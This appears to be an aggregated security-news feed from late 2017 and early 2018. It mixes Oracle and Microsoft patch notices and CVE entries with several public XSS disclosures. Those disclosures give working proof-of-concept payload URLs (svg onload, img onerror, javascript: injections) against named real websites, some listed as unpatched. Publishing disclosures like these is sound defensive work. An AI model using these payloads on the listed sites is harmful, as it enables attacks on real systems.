Oracle Releases Security Bulletin

Oracle has released its Critical Patch Update for October 2017 to address 252 vulnerabilities across multiple products. A remote attacker could exploit some of these vulnerabilities to take control of an affected system. Users and administrators are encouraged to review the Oracle October 2017...

October 2017 Security and Quality Rollup for .NET Framework 2.0 SP2, 4.5.2, and 4.6 updates for Windows Server 2008 SP2 (KB 4043768)

October 2017 Security and Quality Rollup for .NET Framework 2.0 SP2, 4.5.2, and 4.6 updates for Windows Server 2008 SP2 KB 4043768 Notice This update has been released as part of the October 2017 Preview of Quality Rollup for .NET Framework 2.0 SP2, 4.5.2, and 4.6 updates for Windows Server 2008...

CVE-2017-11823

creationtimestamp| type| source ---|---|--- 2017-10-17 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/42997...

CVE-2017-11802

creationtimestamp| type| source ---|---|--- 2017-10-17 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/43000...

CVE-2017-7115

creationtimestamp| type| source ---|---|--- 2017-10-17 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/42996...

CVE-2017-11785

creationtimestamp| type| source ---|---|--- 2017-10-17 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/43001...

documentabalear.cat XSS vulnerability

Vulnerable URL: http://www.documentabalear.cat/cataleg.php?id=13'" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 14246855 VIP website status:| No Coordinated Disclosure Timeline:...

October 10, 2017—KB4041679 (Security-only update)

None None...

October 2017 Preview of Quality Rollup for .NET Framework 3.5, 4.5.2, 4.6, 4.6.1, 4.6.2, and 4.7 updates for Windows Server 2012 (KB 4042077)

October 2017 Preview of Quality Rollup for .NET Framework 3.5, 4.5.2, 4.6, 4.6.1, 4.6.2, and 4.7 updates for Windows Server 2012 KB 4042077 View products that this article applies to. Summary This article lists the Quality Rollup for .NET Framework 3.5, 4.5.2, 4.6, 4.6.1, 4.6.2, and 4.7 for...

October 2017 Preview of Quality Rollup for .NET Framework 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2, and 4.7 updates for Windows 7 SP1 and Windows Server 2008 R2 SP1 (KB 4042076)

October 2017 Preview of Quality Rollup for .NET Framework 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2, and 4.7 updates for Windows 7 SP1 and Windows Server 2008 R2 SP1 KB 4042076 View products that this article applies to. Summary This article lists the Quality Rollup for .NET Framework 3.5.1, 4.5.2, 4.6,...

October 2017 Preview of Quality Rollup for .NET Framework 2.0 SP2, 4.5.2, and 4.6 updates for Windows Server 2008 SP2 (KB 4042201)

October 2017 Preview of Quality Rollup for .NET Framework 2.0 SP2, 4.5.2, and 4.6 updates for Windows Server 2008 SP2 KB 4042201 View products that this article applies to. Summary This article lists the Quality Rollup for the .NET Framework 2.0 SP2, 4.5.2, and 4.6 for Windows Server 2008...

October 2017 Preview of Quality Rollup for .NET Framework 3.5, 4.5.2, 4.6, 4.6.1, 4.6.2, and 4.7 updates for Windows 8.1, Windows RT 8.1 and Windows Server 2012 R2 (KB 4042078)

October 2017 Preview of Quality Rollup for .NET Framework 3.5, 4.5.2, 4.6, 4.6.1, 4.6.2, and 4.7 updates for Windows 8.1, Windows RT 8.1 and Windows Server 2012 R2 KB 4042078 View products that this article applies to. Summary This article lists the Quality Rollup for .NET Framework 3.5, 4.5.2,...

search-recherche.gc.ca XSS vulnerability

Vulnerable URL: http://search-recherche.gc.ca/rGs/sr?q=1%27-confirm%27openbugbounty%27-%27=eng=mdndnd=s=10&st1rt;=0&s5bm3ts21rch;=x=Search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 12.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

deprojectbewakers.nl XSS vulnerability

Vulnerable URL: http://deprojectbewakers.nl/flashdetection.swf?flashContentURL=javascript:alert1 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 14.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

sip-scootershop.com XSS vulnerability

Vulnerable URL: https://sip-scootershop.com/main/base/Results.aspx?t=%3c%2fscript%3e%3cimg+src%3dx+onerror%3dprompt%2fXSSPOSED%2f%3e=sco,ape,lam,old,px,sma,max,atv,mot=1=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 12.01.2018 Vulnerability type:| XSS Vulnerability...

gulfvisit.com XSS vulnerability

Vulnerable URL: http://gulfvisit.com/index.php?searchkeyword=x%22%3E%3CsvG%20onLoad=prompt9%3E= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 12.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 75641 VIP website status:| No...

TippingPoint Threat Intelligence and Zero-Day Coverage – Week of October 9, 2017

Even though “Patch Tuesday” isn’t supposed to exist anymore, here I am blogging about it. As I looked at the October updates from Microsoft, the usual suspects were there. But this month was a little different. We usually see critical vulnerabilities on the browser side, but Microsoft Office is i...

parkerhannifin.be XSS vulnerability

Vulnerable URL:...

pop3.webmail.co.za XSS vulnerability

Vulnerable URL: http://pop3.webmail.co.za/lostpassword.php?email=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 11.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 20169 VIP website status:| Ye...

lohuizen.net XSS vulnerability

Vulnerable URL: http://lohuizen.net/flashdetection.swf?flashContentURL=javascript:alert1 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 11.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 18620101 VIP website...